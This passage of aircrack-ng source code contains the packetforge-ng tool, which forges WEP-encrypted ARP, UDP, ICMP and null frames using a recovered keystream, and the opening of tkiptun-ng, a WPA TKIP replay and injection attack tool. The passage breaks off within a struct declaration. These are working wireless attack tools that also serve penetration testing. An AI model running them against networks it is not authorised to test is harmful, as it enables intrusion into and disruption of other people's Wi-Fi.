" -r <file> : read packet from this raw file\n"
" -y <file> : read PRGA from this file\n"
"\n"
" Modes:\n"
"\n"
" --arp : forge an ARP packet (-0)\n"
" --udp : forge an UDP packet (-1)\n"
" --icmp : forge an ICMP packet (-2)\n"
" --null : build a null packet (-3)\n"
" --custom : build a custom packet (-9)\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct communication_options opt;
static struct local_options
{
unsigned char bssid[6];
unsigned char dmac[6];
unsigned char smac[6];
unsigned char dip[4];
unsigned char sip[4];
unsigned char fctrl[2];
unsigned char * prga;
char * cap_out;
char * raw_file;
int mode;
int pktlen;
int prgalen;
int ttl;
int size;
unsigned short sport;
unsigned short dport;
char tods;
char fromds;
char encrypt;
FILE * ivs2;
unsigned char prev_bssid[6];
int first_packet;
int num_packets;
} lopt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];
/* IP address parsing routine */
static int getip(char * s, unsigned char * ip, unsigned short * port)
{
REQUIRE(s != NULL);
REQUIRE(ip != NULL);
REQUIRE(port != NULL);
int i = 0, n;
while (sscanf(s, "%d", &n) == 1)
{
if (n < 0 || n > 255) return (1);
ip[i] = n;
if (++i == 4) break;
if (!(s = strchr(s, '.'))) break;
s++;
}
if (i != 4) return (1);
ALLEGE(s != NULL);
if ((s = strchr(s, ':')) != NULL)
{
s++;
if (sscanf(s, "%d", &n) == 1)
{
if (n > 0 && n < 65536) *port = n;
}
}
return (0);
}
static unsigned short ip_chksum(unsigned short * addr, int count)
{
REQUIRE(addr != NULL);
unsigned short checksum;
/* Compute Internet Checksum for "count" bytes
* beginning at location "addr".
*/
unsigned long sum = 0;
while (count > 1)
{
/* This is the inner loop */
sum += *addr;
addr++;
count -= 2;
}
/* Add left-over byte, if any */
if (count > 0) sum += *(unsigned char *) addr;
/* Fold 32-bit sum to 16 bits */
while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
checksum = ~sum;
return (checksum);
}
static int set_tofromds(unsigned char * packet)
{
if (packet == NULL) return (1);
/* set TODS,FROMDS bits */
if (((lopt.tods & 1) == 1) && ((lopt.fromds & 1) == 1))
{
packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */
}
if (((lopt.tods & 1) == 1) && ((lopt.fromds & 1) == 0))
{
packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */
}
if (((lopt.tods & 1) == 0) && ((lopt.fromds & 1) == 1))
{
packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */
}
if (((lopt.tods & 1) == 0) && ((lopt.fromds & 1) == 0))
{
packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */
}
return (0);
}
static int set_bssid(unsigned char * packet)
{
int mi_b;
if (packet == NULL) return (1);
if (memcmp(lopt.bssid, NULL_MAC, 6) == 0)
{
printf("Please specify a BSSID (-a).\n");
return (1);
}
switch (packet[1] & 3)
{
case 0:
mi_b = 16;
break;
case 1:
mi_b = 4;
break;
case 2:
mi_b = 10;
break;
default:
mi_b = 10;
break;
}
/* write bssid mac */
memcpy(packet + mi_b, lopt.bssid, 6);
return (0);
}
static int set_dmac(unsigned char * packet)
{
int mi_d;
if (packet == NULL) return (1);
if (memcmp(lopt.dmac, NULL_MAC, ETHER_ADDR_LEN) == 0)
{
printf("Please specify a destination MAC (-c).\n");
return (1);
}
switch (packet[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
case IEEE80211_FC1_DIR_FROMDS:
mi_d = 4;
break;
default:
mi_d = 16;
break;
}
/* write destination mac */
memcpy(packet + mi_d, lopt.dmac, ETHER_ADDR_LEN);
return (0);
}
static int set_smac(unsigned char * packet)
{
int mi_s;
if (packet == NULL) return (1);
if (memcmp(lopt.smac, NULL_MAC, ETHER_ADDR_LEN) == 0)
{
printf("Please specify a source MAC (-h).\n");
return (1);
}
switch (packet[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
case IEEE80211_FC1_DIR_TODS:
mi_s = 10;
break;
case IEEE80211_FC1_DIR_FROMDS:
mi_s = 16;
break;
default:
mi_s = 24;
break;
}
/* write source mac */
memcpy(packet + mi_s, lopt.smac, ETHER_ADDR_LEN);
return (0);
}
/* offset for ip&&udp = 48, for arp = 56 */
static int set_dip(unsigned char * packet, const int offset)
{
if (packet == NULL) return (1);
if (offset < 0 || offset > 2046) return (1);
if (memcmp(lopt.dip, NULL_MAC, 4) == 0)
{
printf("Please specify a destination IP (-k).\n");
return (1);
}
/* set destination IP */
memcpy(packet + offset, lopt.dip, 4);
return (0);
}
/* offset for ip&&udp = 44, for arp = 46 */
static int set_sip(unsigned char * packet, const int offset)
{
if (packet == NULL) return (1);
if (offset < 0 || offset > 2046) return (1);
if (memcmp(lopt.sip, NULL_MAC, 4) == 0)
{
printf("Please specify a source IP (-l).\n");
return (1);
}
/* set source IP */
memcpy(packet + offset, lopt.sip, 4);
return (0);
}
static int set_ipid(unsigned char * packet, const int offset)
{
unsigned short id;
if (packet == NULL) return (1);
if (offset < 0 || offset > 2046) return (1);
id = rand_u16();
/* set IP Identification */
memcpy(packet + offset, (unsigned char *) &id, 2);
return (0);
}
static int set_ip_ttl(unsigned char * packet)
{
unsigned char ttl;
if (packet == NULL) return (1);
ttl = lopt.ttl;
memcpy(packet + 40, &ttl, 1);
return (0);
}
static int set_IVidx(unsigned char * packet)
{
if (packet == NULL) return (1);
if (opt.prga == NULL)
{
printf("Please specify a PRGA file (-y).\n");
return (1);
}
/* insert IV+index */
memcpy(packet + 24, opt.prga, 4);
return (0);
}
static int next_keystream(unsigned char * dest,
const int size,
unsigned char * bssid,
const int minlen)
{
struct ivs2_pkthdr ivs2;
char * buffer;
int gotit = 0;
if (lopt.ivs2 == NULL) return (-1);
if (minlen > size + 4) return (-1);
while (fread(&ivs2, sizeof(struct ivs2_pkthdr), 1, lopt.ivs2) == 1)
{
if (ivs2.flags & IVS2_BSSID)
{
if ((int) fread(lopt.prev_bssid, 6, 1, lopt.ivs2) != 1) return (-1);
ivs2.len -= 6;
}
if (ivs2.len == 0) continue;
buffer = (char *) malloc(ivs2.len);
if (buffer == NULL) return (-1);
if ((int) fread(buffer, ivs2.len, 1, lopt.ivs2) != 1)
{
free(buffer);
return (-1);
}
if (memcmp(bssid, lopt.prev_bssid, 6) != 0)
{
free(buffer);
continue;
}
if ((ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen + 4) && !gotit)
{
if (size >= ivs2.len)
{
memcpy(dest, buffer, ivs2.len);
opt.prgalen = ivs2.len;
}
else
{
memcpy(dest, buffer, size);
opt.prgalen = size;
}
gotit = 1;
}
free(buffer);
if (gotit) return (0);
}
if (feof(lopt.ivs2))
{
if (fseek(lopt.ivs2,
sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1,
SEEK_SET)
== -1)
{
return (-1);
}
return (1);
}
return (-1);
}
static int my_encrypt_data(unsigned char * dest,
const unsigned char * data,
const int length)
{
unsigned char cipher[2048];
int n;
if (dest == NULL) return (1);
if (data == NULL) return (1);
if (length < 1 || length > 2044) return (1);
if (opt.prga == NULL && lopt.ivs2 == NULL)
{
printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION);
return (1);
}
if (lopt.ivs2 != NULL)
{
n = next_keystream(opt.prga, 1500, lopt.bssid, length);
if (n < 0)
{
printf("Error getting keystream.\n");
return (1);
}
if (n == 1)
{
if (lopt.first_packet == 1)
{
printf("Error no keystream in %s file is long enough (%d).\n",
IVS2_EXTENSION,
length);
return (1);
}
else
next_keystream(opt.prga, 1500, lopt.bssid, length);
}
}
if (opt.prgalen - 4 < (size_t) length)
{
printf(
"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
(length + 4));
return (1);
}
ALLEGE(opt.prga != NULL);
/* encrypt data */
for (n = 0; n < length; n++)
{
cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
}
memcpy(dest, cipher, length);
return (0);
}
static int my_create_wep_packet(unsigned char * packet, int * length)
{
if (packet == NULL) return (1);
/* write crc32 value behind data */
if (add_crc32(packet + 24, *length - 24) != 0) return (1);
/* encrypt data+crc32 and keep a 4byte hole */
if (my_encrypt_data(packet + 28, packet + 24, *length - 20) != 0)
return (1);
/* write IV+IDX right in front of the encrypted data */
if (set_IVidx(packet) != 0) return (1);
/* set WEP bit */
packet[1] = packet[1] | 0x40;
*length += 8;
/* now you got yourself a shiny, brand new encrypted wep packet ;) */
return (0);
}
static int write_cap_packet(unsigned char * packet, const int length)
{
FILE * f;
struct pcap_file_header pfh;
struct pcap_pkthdr pkh;
struct timeval tv;
int n;
if (length <= 0)
{
printf("Invalid length, must be > 0.\n");
printf("Please report.\n");
return (1);
}
if (lopt.cap_out == NULL)
{
printf("Please specify an output file (-w).\n");
return (1);
}
if (lopt.first_packet)
{
if ((f = fopen(lopt.cap_out, "wb+")) == NULL)
{
fprintf(stderr, "failed: fopen(%s,wb+)\n", lopt.cap_out);
return (1);
}
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh, 1, n, f) != (size_t) n)
{
fprintf(stderr, "failed: fwrite(pcap file header)\n");
fclose(f);
return (1);
}
}
else
{
if ((f = fopen(lopt.cap_out, "ab+")) == NULL)
{
fprintf(stderr, "failed: fopen(%s,ab+)\n", lopt.cap_out);
return (1);
}
}
gettimeofday(&tv, NULL);
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.len = length;
pkh.caplen = length;
n = sizeof(pkh);
if (fwrite(&pkh, 1, n, f) != (size_t) n)
{
fprintf(stderr, "fwrite(packet header) failed\n");
fclose(f);
return (1);
}
n = length;
if (fwrite(packet, 1, n, f) != (size_t) n)
{
fprintf(stderr, "fwrite(packet data) failed\n");
fclose(f);
return (1);
}
fclose(f);
if (lopt.first_packet) lopt.first_packet = 0;
return (0);
}
static int read_prga_xor_ivs2(unsigned char ** dest, const char * file)
{
FILE * f;
int size;
struct ivs2_filehdr fivs2;
size_t file_sz = file != NULL ? strlen(file) : 0;
if (file == NULL) return (1);
if (*dest == NULL)
{
*dest = (unsigned char *) malloc(1501);
REQUIRE(*dest != NULL);
}
if (memcmp(file + (file_sz - 4), ".xor", 4) != 0
&& memcmp(file + (file_sz - 4), "." IVS2_EXTENSION, 4) != 0)
{
printf("Is this really a PRGA file: %s?\n", file);
}
f = fopen(file, "rb");
if (f == NULL)
{
printf("Error opening %s\n", file);
return (1);
}
fseek(f, 0, SEEK_END);
size = ftell(f);
if (size == -1)
{
printf("Error getting file position %s\n", file);
fclose(f);
return (1);
}
rewind(f);
if (size > 1500) size = 1500;
if ((int) fread((*dest), size, 1, f) != 1)
{
fprintf(stderr, "fread failed\n");
fclose(f);
return (1);
}
if (memcmp((*dest), IVS2_MAGIC, 4) == 0)
{
if ((size_t) size < sizeof(struct ivs2_filehdr) + 4)
{
fprintf(stderr, "No valid %s file.", IVS2_EXTENSION);
fclose(f);
return (1);
}
memcpy(&fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr));
if (fivs2.version > IVS2_VERSION)
{
printf("Error, wrong %s version: %d. Supported up to version %d.\n",
IVS2_EXTENSION,
fivs2.version,
IVS2_VERSION);
}
lopt.ivs2 = f;
IGNORE_LTZ(fseek(
f, sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1, SEEK_SET));
}
else
{
// assuming old xor file
if ((*dest)[3] > 0x03)
{
printf("Are you really sure that this is a valid keystream? "
"Because the index is out of range (0-3): %02X\n",
(*dest)[3]);
}
opt.prgalen = (int) size;
fclose(f);
}
return (0);
}
static int forge_arp(void)
{
/* use arp request */
lopt.pktlen = 60;
memcpy(h80211, ARP_REQ, lopt.pktlen); //-V512
memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
if (set_tofromds(h80211) != 0) return (1);
if (set_bssid(h80211) != 0) return (1);
if (set_smac(h80211) != 0) return (1);
if (set_dmac(h80211) != 0) return (1);
memcpy(h80211 + 40, lopt.smac, 6);
if (set_dip(h80211, 56) != 0) return (1);
if (set_sip(h80211, 46) != 0) return (1);
return (0);
}
static int forge_udp(void)
{
unsigned short chksum;
lopt.pktlen = 61;
memcpy(h80211, UDP_PACKET, lopt.pktlen);
if (set_tofromds(h80211) != 0) return (1);
if (set_bssid(h80211) != 0) return (1);
if (set_smac(h80211) != 0) return (1);
if (set_dmac(h80211) != 0) return (1);
if (set_dip(h80211, 48) != 0) return (1);
if (set_sip(h80211, 44) != 0) return (1);
if (lopt.ttl != -1)
if (set_ip_ttl(h80211) != 0) return (1);
if (set_ipid(h80211, 36) != 0) return (1);
/* set udp length */
h80211[57] = '\x09';
/* generate + set ip checksum */
chksum = ip_chksum((unsigned short *) (h80211 + 32), 20); //-V1032
memcpy(h80211 + 42, &chksum, 2); //-V512
return (0);
}
static int forge_icmp(void)
{
unsigned short chksum;
lopt.pktlen = 60;
memcpy(h80211, ICMP_PACKET, lopt.pktlen);
if (memcmp(lopt.dmac, NULL_MAC, 6) == 0)
{
memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
}
if (set_tofromds(h80211) != 0) return (1);
if (set_bssid(h80211) != 0) return (1);
if (set_smac(h80211) != 0) return (1);
if (set_dmac(h80211) != 0) return (1);
if (set_dip(h80211, 48) != 0) return (1);
if (set_sip(h80211, 44) != 0) return (1);
if (lopt.ttl != -1)
if (set_ip_ttl(h80211) != 0) return (1);
if (set_ipid(h80211, 36) != 0) return (1);
/* generate + set ip checksum */
chksum = ip_chksum((unsigned short *) (h80211 + 32), 20); //-V1032
memcpy(h80211 + 42, &chksum, 2);
return (0);
}
static int forge_null(void)
{
lopt.pktlen = lopt.size;
memcpy(h80211, NULL_PACKET, 24);
memset(h80211 + 24, '\0', (lopt.pktlen - 24));
if (memcmp(lopt.dmac, NULL_MAC, 6) == 0)
{
memcpy(lopt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
}
if (set_tofromds(h80211) != 0) return (1);
if (set_bssid(h80211) != 0) return (1);
if (set_smac(h80211) != 0) return (1);
if (set_dmac(h80211) != 0) return (1);
if (lopt.pktlen > 26) h80211[26] = 0x03;
return (0);
}
static int forge_custom(void)
{
if (capture_ask_packet(&lopt.pktlen, 0) != 0) return (1);
if (set_tofromds(h80211) != 0) return (1);
if (memcmp(lopt.bssid, NULL_MAC, 6) != 0)
{
if (set_bssid(h80211) != 0) return (1);
}
if (memcmp(lopt.dmac, NULL_MAC, 6) != 0)
{
if (set_dmac(h80211) != 0) return (1);
}
if (memcmp(lopt.smac, NULL_MAC, 6) != 0)
{
if (set_smac(h80211) != 0) return (1);
}
return (0);
}
static void print_usage(void)
{
char * version_info = getVersion(
"Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf(usage, version_info);
free(version_info);
}
int main(int argc, char * argv[])
{
int arg;
unsigned uarg;
int option_index;
int ret;
int n;
memset(&opt, 0, sizeof(opt));
memset(&lopt, 0, sizeof(lopt));
/* initialise global options */
memset(lopt.bssid, '\x00', 6);
memset(lopt.dmac, '\x00', 6);
memset(lopt.smac, '\x00', 6);
memset(lopt.dip, '\x00', 4);
memset(lopt.sip, '\x00', 4);
memset(lopt.fctrl, '\x00', 2);
opt.prga = NULL;
lopt.cap_out = NULL;
lopt.raw_file = NULL;
lopt.mode = -1;
lopt.pktlen = -1;
opt.prgalen = -1;
lopt.ttl = -1;
lopt.sport = -1;
lopt.dport = -1;
lopt.tods = 1;
lopt.fromds = 0;
lopt.encrypt = 1;
lopt.size = 30;
lopt.ivs2 = NULL;
memset(lopt.prev_bssid, '\x00', 6);
lopt.first_packet = 1;
lopt.num_packets = 1;
rand_init();
while (1)
{
static const struct option long_options[] = {{"arp", 0, 0, '0'},
{"udp", 0, 0, '1'},
{"icmp", 0, 0, '2'},
{"null", 0, 0, '3'},
{"custom", 0, 0, '9'},
{"help", 0, 0, 'H'},
{0, 0, 0, 0}};
int option;
option_index = 0;
option = getopt_long(argc,
argv,
"p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'p':
ret = sscanf(optarg, "%x", &uarg);
if (uarg > 65535 || ret != 1)
{
printf("Invalid frame control word. [0-65535]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.fctrl[0] = ((uarg >> 8) & 0xFF);
lopt.fctrl[1] = (uarg & 0xFF);
break;
case 't':
ret = sscanf(optarg, "%i", &arg);
if (arg < 0 || arg > 255 || ret != 1)
{
printf("Invalid time to live. [0-255]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.ttl = arg;
break;
case 'n':
ret = sscanf(optarg, "%i", &arg);
if (arg <= 0 || ret != 1)
{
printf("Invalid number of packets. [>=1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.num_packets = arg;
break;
case 'a':
if (getmac(optarg, 1, lopt.bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'c':
if (getmac(optarg, 1, lopt.dmac) != 0)
{
printf("Invalid destination MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'h':
if (getmac(optarg, 1, lopt.smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'j':
lopt.fromds = 1;
break;
case 'o':
lopt.tods = 0;
break;
case 'e':
lopt.encrypt = 0;
break;
case 'r':
if (lopt.raw_file != NULL)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.raw_file = optarg;
break;
case 'y':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (read_prga_xor_ivs2(&(opt.prga), optarg) != 0)
{
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'w':
if (lopt.cap_out != NULL)
{
printf("Output file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.cap_out = optarg;
break;
case 'k':
if (getip(optarg, lopt.dip, &(lopt.dport)) != 0)
{
printf("Invalid destination IP address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'l':
if (getip(optarg, lopt.sip, &(lopt.sport)) != 0)
{
printf("Invalid source IP address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 's':
ret = sscanf(optarg, "%i", &arg);
if (arg < 26 || arg > 1520 || ret != 1)
{
printf("Invalid packet size. [26-1520]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.size = arg;
break;
case '0':
if (lopt.mode != -1)
{
printf("Mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.mode = 0;
break;
case '1':
if (lopt.mode != -1)
{
printf("Mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.mode = 1;
break;
case '2':
if (lopt.mode != -1)
{
printf("Mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.mode = 2;
break;
case '3':
if (lopt.mode != -1)
{
printf("Mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.mode = 3;
break;
case '9':
if (lopt.mode != -1)
{
printf("Mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
lopt.mode = 9;
break;
case 'H':
print_usage();
return (EXIT_FAILURE);
default:
break;
}
}
if (argc == 1)
{
print_usage();
printf("Please specify a mode.\n");
return (EXIT_FAILURE);
}
if (lopt.raw_file != NULL)
{
if (!(dev.f_cap_in = fopen(lopt.raw_file, "rb")))
{
perror("open failed");
return (EXIT_FAILURE);
}
n = sizeof(struct pcap_file_header);
if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic != TCPDUMP_MAGIC
&& dev.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
lopt.raw_file);
return (EXIT_FAILURE);
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (EXIT_FAILURE);
}
}
for (n = 0; n < lopt.num_packets; n++)
{
switch (lopt.mode)
{
case 0:
if (forge_arp() != 0)
{
printf("Error building an ARP packet.\n");
return (EXIT_FAILURE);
}
break;
case 1:
if (forge_udp() != 0)
{
printf("Error building an UDP packet.\n");
return (EXIT_FAILURE);
}
break;
case 2:
if (forge_icmp() != 0)
{
printf("Error building an ICMP packet.\n");
return (EXIT_FAILURE);
}
break;
case 3:
if (forge_null() != 0)
{
printf("Error building a NULL packet.\n");
return (EXIT_FAILURE);
}
break;
case 9:
if (forge_custom() != 0)
{
printf("Error building a custom packet.\n");
return (EXIT_FAILURE);
}
break;
default:
print_usage();
printf("Please specify a mode.\n");
return (EXIT_FAILURE);
}
if (lopt.encrypt)
{
if (my_create_wep_packet(h80211, &(lopt.pktlen)) != 0)
return (EXIT_FAILURE);
}
else
{
/* set WEP bit = 0 */
h80211[1] = h80211[1] & 0xBF;
}
if (write_cap_packet(h80211, lopt.pktlen) != 0)
{
printf("Error writing pcap file %s.\n", lopt.cap_out);
return (EXIT_FAILURE);
}
}
printf("Wrote packet%s to: %s\n",
(lopt.num_packets > 1 ? "s" : ""),
lopt.cap_out);
if (lopt.ivs2) fclose(lopt.ivs2);
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/tkiptun-ng/tkiptun-ng.c | /*
* 802.11 WPA replay & injection attacks
*
* Copyright (C) 2008, 2009 Martin Beck <martin.beck2@gmx.de>
*
* WEP decryption attack (chopchop) developed by KoreK
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#if defined(linux)
#include <linux/rtc.h>
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <dirent.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <fcntl.h>
#include <ctype.h>
#include <limits.h>
#if defined(linux)
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/third-party/eapol.h"
#include "aircrack-ng/tui/console.h"
#define RTC_RESOLUTION 8192
#define REQUESTS 30
#define MAX_APS 20
#define NEW_IV 1
#define RETRY 2
#define ABORT 3
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
#define AUTH_REQ \
"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
#define ASSOC_REQ \
"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
#define NULL_DATA \
"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
#define RATE_NUM 12
#define RATE_1M 1000000
#define RATE_2M 2000000
#define RATE_5_5M 5500000
#define RATE_11M 11000000
#define RATE_6M 6000000
#define RATE_9M 9000000
#define RATE_12M 12000000
#define RATE_18M 18000000
#define RATE_24M 24000000
#define RATE_36M 36000000
#define RATE_48M 48000000
#define RATE_54M 54000000
#define DEFAULT_MIC_FAILURE_INTERVAL 60
static const char usage[] =
"\n"
" %s - (C) 2008-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: tkiptun-ng <options> <replay interface>\n"
"\n"
" Filter options:\n"
"\n"
" -d dmac : MAC address, Destination\n"
" -s smac : MAC address, Source\n"
" -m len : minimum packet length (default: 80) \n"
" -n len : maximum packet length (default: 80)\n"
" -t tods : frame control, To DS bit\n"
" -f fromds : frame control, From DS bit\n"
" -D : disable AP detection\n"
" -Z : select packets manually\n"
"\n"
" Replay options:\n"
"\n"
" -x nbpps : number of packets per second\n"
" -a bssid : set Access Point MAC address\n"
" -c dmac : set Destination MAC address\n"
" -h smac : set Source MAC address\n"
" -e essid : set target AP SSID\n"
" -M sec : MIC error timeout in seconds [60]\n"
"\n"
" Debug options:\n"
"\n"
" -K prga : keystream for continuation\n"
" -y file : keystream-file for continuation\n"
" -j : inject FromDS packets\n"
" -P pmk : pmk for verification/vuln testing\n"
" -p psk : psk to calculate pmk with essid\n"
"\n"
" source options:\n"
"\n"
" -i iface : capture packets from this interface\n"
" -r file : extract packets from this pcap file\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct communication_options opt;
static struct local_options
{
unsigned char f_bssid[6];
unsigned char f_dmac[6];
unsigned char f_smac[6];
int f_minlen;
int f_maxlen;
int f_minlen_set;
int f_maxlen_set;
int f_type;
int f_subtype;
int f_tods;
int f_fromds;
int f_iswep;
FILE * f_ivs; /* output ivs file */
int r_nbpps;
int r_fctrl;
unsigned char r_bssid[6];
unsigned char r_dmac[6];
unsigned char r_smac[6];
unsigned char r_apmac[6];
unsigned char r_dip[4];
unsigned char r_sip[4];
char r_essid[33];
int r_fromdsinj;
char r_smac_set;
char ip_out[16]; // 16 for 15 chars + \x00
char ip_in[16];
int port_out;
int port_in;
char * iface_out;
char * s_face;
char * s_file;
unsigned char * prga;
int a_mode;
int a_count;
int a_delay;
int ringbuffer;
int ghost;
int prgalen;
int delay;
int npackets;
int fast;
int bittest;
int nodetect;
unsigned char oldkeystream[4096]; /* user-defined old keystream */
int oldkeystreamlen; /* user-defined old keystream length */
char wpa_essid[256]; /* essid used for calculating the pmk out of the psk */
char psk[128]; /* shared passphrase among the clients */
unsigned char pmk[128]; /* pmk derived from the essid and psk */
unsigned char
ptk[80]; /* ptk calculated from all pieces captured in the handshake */
unsigned char ip_cli[4];
unsigned char ip_ap[4];
int got_ptk;
int got_pmk;
int got_psk;
int got_mic_fromds;
int got_mic_tods;
int got_ip_ap;
int got_ip_client;
struct WPA_hdsk wpa; /* valid WPA handshake data */
struct WPA_ST_info wpa_sta; /* used to calculate the pmk */
time_t wpa_time; /* time when the wpa handshake arrived */
unsigned char *
